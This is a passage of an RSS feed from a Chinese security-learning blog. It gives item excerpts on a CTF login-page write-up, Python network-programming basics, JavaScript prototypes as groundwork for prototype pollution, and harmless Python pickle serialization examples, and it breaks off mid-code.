src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202311261907116.png" alt="image-20231126190703977" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-3" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202311261907116.png" alt="image-20231126190703977"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这里看到一个登录框，可以存在sql注入漏洞。但是尝试了，并没有发现注入漏洞。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h5 id="扫目录"&gt;&#10; 扫目录&lt;a class="heading-anchor" href="#%e6%89%ab%e7%9b%ae%e5%bd%95" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h5&gt;&#10;&lt;p&gt;看一下 后台都有什么文件&#10;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-4" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202311261912281.png" alt="image-20231126191234235" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-4" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202311261912281.png" alt="image-20231126191234235"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;可以看到还是有很多的文件的，我们逐个访问测试&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="解题过程"&gt;&#10; 解题过程&lt;a class="heading-anchor" href="#%e8%a7%a3%e9%a2%98%e8%bf%87%e7%a8%8b" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;add.php&#10;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-5" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202311261914103.png" alt="image-20231126191424071" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-5" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202311261914103.png" alt="image-20231126191424071"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;</description></item><item><title>python网络编程基础</title><link>http://blog.foreverwl.top/blog/python%E7%BD%91%E7%BB%9C%E7%BC%96%E7%A8%8B%E5%9F%BA%E7%A1%80/</link><pubDate>Sun, 12 Nov 2023 03:28:05 +0800</pubDate><guid>http://blog.foreverwl.top/blog/python%E7%BD%91%E7%BB%9C%E7%BC%96%E7%A8%8B%E5%9F%BA%E7%A1%80/</guid><description>&lt;h2 id="tcpip协议"&gt;&#10; TCP/IP协议&lt;a class="heading-anchor" href="#tcpip%e5%8d%8f%e8%ae%ae" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;计算机之前进行网络通信，首先需要双方确认通信所使用的协议，之后才能按照这种协议进行数据的传输。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="tcpip协议的作用"&gt;&#10; tcp/ip协议的作用：&lt;a class="heading-anchor" href="#tcpip%e5%8d%8f%e8%ae%ae%e7%9a%84%e4%bd%9c%e7%94%a8" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;&lt;code&gt;TCP/IP&lt;/code&gt;是用于因特网(&lt;code&gt;Internet&lt;/code&gt;)的通信协议。它是对计算机必须遵守的规则的描述，只有遵守这些规则，计算机之间才能进行通信。&#10;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-0" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202311102028010.png" alt="image-20231110173517740" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-0" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202311102028010.png" alt="image-20231110173517740"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;&lt;strong&gt;IP - 网际协议&lt;/strong&gt;&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;&lt;strong&gt;TCP - 传输控制协议&lt;/strong&gt;&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;&lt;strong&gt;UDP - 用户数据报协议&lt;/strong&gt;&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&#10;&lt;div class="table-wrap"&gt;&#10; &lt;table&gt;&#10; &lt;thead&gt;&#10; &lt;tr&gt;&#10; &lt;th style="text-align: left"&gt;协议&lt;/th&gt;&#10; &lt;th style="text-align: left"&gt;功能用处&lt;/th&gt;&#10; &lt;th style="text-align: left"&gt;端口号&lt;/th&gt;&#10; &lt;th style="text-align: left"&gt;对应模块模块&lt;/th&gt;&#10; &lt;/tr&gt;&#10; &lt;/thead&gt;&#10; &lt;tbody&gt;&#10; &lt;tr&gt;&#10; &lt;td style="text-align: left"&gt;&lt;strong&gt;&lt;code&gt;HTTP&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&#10; &lt;td style="text-align: left"&gt;网页访问&lt;/td&gt;&#10; &lt;td style="text-align: left"&gt;&lt;code&gt;80&lt;/code&gt;&lt;/td&gt;&#10; &lt;td style="text-align: left"&gt;&lt;code&gt;httplib&lt;/code&gt;、&lt;code&gt;urllib&lt;/code&gt;、&lt;code&gt;xmlrpclib&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td style="text-align: left"&gt;&lt;strong&gt;&lt;code&gt;NNTP&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&#10; &lt;td style="text-align: left"&gt;阅读和张贴新闻文章&lt;/td&gt;&#10; &lt;td style="text-align: left"&gt;&lt;code&gt;119&lt;/code&gt;&lt;/td&gt;&#10; &lt;td style="text-align: left"&gt;&lt;code&gt;nntplib&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td style="text-align: left"&gt;&lt;strong&gt;&lt;code&gt;FTP&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&#10; &lt;td style="text-align: left"&gt;文件传输&lt;/td&gt;&#10; &lt;td style="text-align: left"&gt;&lt;code&gt;20&lt;/code&gt;&lt;/td&gt;&#10; &lt;td style="text-align: left"&gt;&lt;code&gt;ftplib&lt;/code&gt;、&lt;code&gt;urllib&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td style="text-align: left"&gt;&lt;strong&gt;&lt;code&gt;SMTP&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&#10; &lt;td style="text-align: left"&gt;发送邮件&lt;/td&gt;&#10; &lt;td style="text-align: left"&gt;&lt;code&gt;25&lt;/code&gt;&lt;/td&gt;&#10; &lt;td style="text-align: left"&gt;&lt;code&gt;smtplib&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td style="text-align: left"&gt;&lt;strong&gt;&lt;code&gt;POP3&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&#10; &lt;td style="text-align: left"&gt;接收邮件&lt;/td&gt;&#10; &lt;td style="text-align: left"&gt;&lt;code&gt;110&lt;/code&gt;&lt;/td&gt;&#10; &lt;td style="text-align: left"&gt;&lt;code&gt;poplib&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td style="text-align: left"&gt;&lt;strong&gt;&lt;code&gt;IMAP4&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&#10; &lt;td style="text-align: left"&gt;获取邮件&lt;/td&gt;&#10; &lt;td style="text-align: left"&gt;&lt;code&gt;143&lt;/code&gt;&lt;/td&gt;&#10; &lt;td style="text-align: left"&gt;&lt;code&gt;imaplib&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td style="text-align: left"&gt;&lt;strong&gt;&lt;code&gt;Telnet&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&#10; &lt;td style="text-align: left"&gt;命令行&lt;/td&gt;&#10; &lt;td style="text-align: left"&gt;&lt;code&gt;23&lt;/code&gt;&lt;/td&gt;&#10; &lt;td style="text-align: left"&gt;&lt;code&gt;telnetlib&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td style="text-align: left"&gt;&lt;strong&gt;&lt;code&gt;Gopher&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&#10; &lt;td style="text-align: left"&gt;信息查找&lt;/td&gt;&#10; &lt;td style="text-align: left"&gt;&lt;code&gt;70&lt;/code&gt;&lt;/td&gt;&#10; &lt;td style="text-align: left"&gt;&lt;code&gt;gopherlib&lt;/code&gt;、&lt;code&gt;urllib&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;/tbody&gt;&#10; &lt;/table&gt;&#10;&lt;/div&gt;&#10;&#10;&#10;&#10;&lt;h3 id="tcp和udp"&gt;&#10; TCP和UDP:&lt;a class="heading-anchor" href="#tcp%e5%92%8cudp" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;&lt;strong&gt;UDP 在传送数据之前不需要先建立连接&lt;/strong&gt;，远程主机在收到 UDP 报文后，不需要给出任何确认。&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;适用于一些及时性的服务&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;TCP 提供&lt;strong&gt;面向连接&lt;/strong&gt;的服务。在传送数据之前必须先建立连接，数据传送结束后要释放连接。&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;TCP &lt;strong&gt;一般用于文件传输、发送和接收邮件、远程登录等场景&lt;/strong&gt;。&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;/ul&gt;</description></item><item><title>JavaScript原型链和原型链污染</title><link>http://blog.foreverwl.top/blog/javascript%E5%8E%9F%E5%9E%8B%E9%93%BE%E5%92%8C%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/</link><pubDate>Thu, 09 Nov 2023 11:06:14 +0800</pubDate><guid>http://blog.foreverwl.top/blog/javascript%E5%8E%9F%E5%9E%8B%E9%93%BE%E5%92%8C%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/</guid><description>&lt;h1 id="javascript原型链和原型链污染"&gt;&#10; JavaScript原型链和原型链污染&lt;a class="heading-anchor" href="#javascript%e5%8e%9f%e5%9e%8b%e9%93%be%e5%92%8c%e5%8e%9f%e5%9e%8b%e9%93%be%e6%b1%a1%e6%9f%93" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h1&gt;&#10;&#10;&#10;&#10;&lt;h2 id="前置知识"&gt;&#10; 前置知识&lt;a class="heading-anchor" href="#%e5%89%8d%e7%bd%ae%e7%9f%a5%e8%af%86" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;JavaScript中没有引入像类一样的概念，要定义一个类，要以构造函数的方式来定义。&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;Foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;bar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;Foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;Foo&lt;/code&gt;函数的内容，就是&lt;code&gt;Foo&lt;/code&gt;类的构造函数，而&lt;code&gt;this.bar&lt;/code&gt;就是&lt;code&gt;Foo&lt;/code&gt;类的一个属性。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="同步和异步"&gt;&#10; 同步和异步:&lt;a class="heading-anchor" href="#%e5%90%8c%e6%ad%a5%e5%92%8c%e5%bc%82%e6%ad%a5" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;贴张图，说的很明白了。&#10;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-0" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202311071310891.png" alt="image-20231107131013857" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-0" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202311071310891.png" alt="image-20231107131013857"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="什么是原型"&gt;&#10; 什么是原型？&lt;a class="heading-anchor" href="#%e4%bb%80%e4%b9%88%e6%98%af%e5%8e%9f%e5%9e%8b" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;原型：JS中的对象包含了一个prototype的内部属性，这个属性所对应的就是该对象的原型。&lt;/p&gt;&#10;&lt;p&gt;js中的所有引用类型（函数 ，数组，对象）都有______proto______属性(隐式原型)，而函数除了有______proto______属性，还拥有一个prototype属性(显式原型)。&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-1" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202309121203079.png" alt="image-20230912120318996" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-1" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202309121203079.png" alt="image-20230912120318996"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-2" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202309162241435.png" alt="image-20230916224116350" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-2" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202309162241435.png" alt="image-20230916224116350"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="原型对象prototype"&gt;&#10; 原型对象(prototype)&lt;a class="heading-anchor" href="#%e5%8e%9f%e5%9e%8b%e5%af%b9%e8%b1%a1prototype" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;当创建一个函数时，该函数会自动带有prototype属性(上面说了)，这个属性是一个指针，指向了一个对象，这个对象就是原型对象。&#10;默认情况下，所有原型对象都会自动获得一个&lt;code&gt;constructor（构造函数）&lt;/code&gt;属性，这个属性是一个指向prototype属性所在函数的指针。也就是说，==每个构造函数(constructor)都有一个原型对象(prototype)==。&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-3" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202309171108707.png" alt="image-20230917110844642" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-3" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202309171108707.png" alt="image-20230917110844642"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="理清一下"&gt;&#10; 理清一下&lt;a class="heading-anchor" href="#%e7%90%86%e6%b8%85%e4%b8%80%e4%b8%8b" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;每个构造函数都有一个 &lt;code&gt;prototype&lt;/code&gt; 原型对象,&lt;/p&gt;&#10;&lt;p&gt;每个实例对象(object)都有一个 &lt;code&gt;__proto__&lt;/code&gt; 属性，指向它的构造函数的原型对象( &lt;code&gt;prototype&lt;/code&gt;)&lt;/p&gt;&#10;&lt;p&gt;所有原型对象都会自动获得一个&lt;code&gt;constructor（构造函数）&lt;/code&gt;属性，这个属性是一个指向prototype属性所在函数的指针&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;A&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//console.log (&amp;#39;111&amp;#39;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;B&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;A&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;B&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__proto__&lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="nx"&gt;A&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;prototype&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="c1"&gt;//实例对象B的隐式原型(__proto__)指向它构造函数的显式原型(prototype),指向就是恒等于&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;666&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="c1"&gt;//输出666&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里B是一个实例对象，访问其______proto______属性--&amp;gt;指向构造函数(A)的原型对象prototype--&amp;gt;构造函数的constructor属性&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;&lt;code&gt;prototype&lt;/code&gt;是一个类的属性，所有类对象在实例化的时候将会拥有&lt;code&gt;prototype&lt;/code&gt;中的属性和方法&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;一个对象的&lt;code&gt;__proto__&lt;/code&gt;属性，指向这个对象所在的类的&lt;code&gt;prototype&lt;/code&gt;属性&lt;/p&gt;&#10;&lt;p&gt;p神的原话。&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&#10;&#10;&#10;&lt;h3 id="javascript原型链继承"&gt;&#10; JavaScript原型链继承&lt;a class="heading-anchor" href="#javascript%e5%8e%9f%e5%9e%8b%e9%93%be%e7%bb%a7%e6%89%bf" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;第一条举个例子&lt;/p&gt;</description></item><item><title>python pickle 反序列化</title><link>http://blog.foreverwl.top/blog/python-pickle-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/</link><pubDate>Tue, 24 Oct 2023 15:48:00 +0800</pubDate><guid>http://blog.foreverwl.top/blog/python-pickle-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/</guid><description>&lt;h2 id="pickle模块"&gt;&#10; pickle模块&lt;a class="heading-anchor" href="#pickle%e6%a8%a1%e5%9d%97" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;pickle模块是对Python对象结构进行二进制序列化和反序列化的协议实现，就是把Python数据变成流的形式。类似php对对象进行序列化。pickle会创建一个python语言专用的二进制格式，&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="pickle模块中的两个主要函数dump和load"&gt;&#10; pickle模块中的两个主要函数dump()和load()。&lt;a class="heading-anchor" href="#pickle%e6%a8%a1%e5%9d%97%e4%b8%ad%e7%9a%84%e4%b8%a4%e4%b8%aa%e4%b8%bb%e8%a6%81%e5%87%bd%e6%95%b0dump%e5%92%8cload" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;这里贴张图：&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-0" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202310211806781.png" alt="image-20231021160729624" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-0" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202310211806781.png" alt="image-20231021160729624"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;也就是对对象进行序列化和反序列化的操作，和php中的serialize和unserialize类似。&#10;举一个例子：&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;pickle&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;Demo&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;test1&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# class test1():&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# def __init__(self, name=&amp;#39;haker&amp;#39;):&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# self.name = name&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;[+] 序列化&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pickle&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;test1&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;[+] 反序列化&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pickle&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pickle&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;test1&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#[+] 序列化&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#b&amp;#39;\x80\x04\x95(\x00\x00\x00\x00\x00\x00\x00\x8c\x04Demo\x94\x8c\x05test1\x94\x93\x94)\x81\x94}\x94\x8c\x04name\x94\x8c\x05haker\x94sb.&amp;#39;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#[+] 反序列化&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span 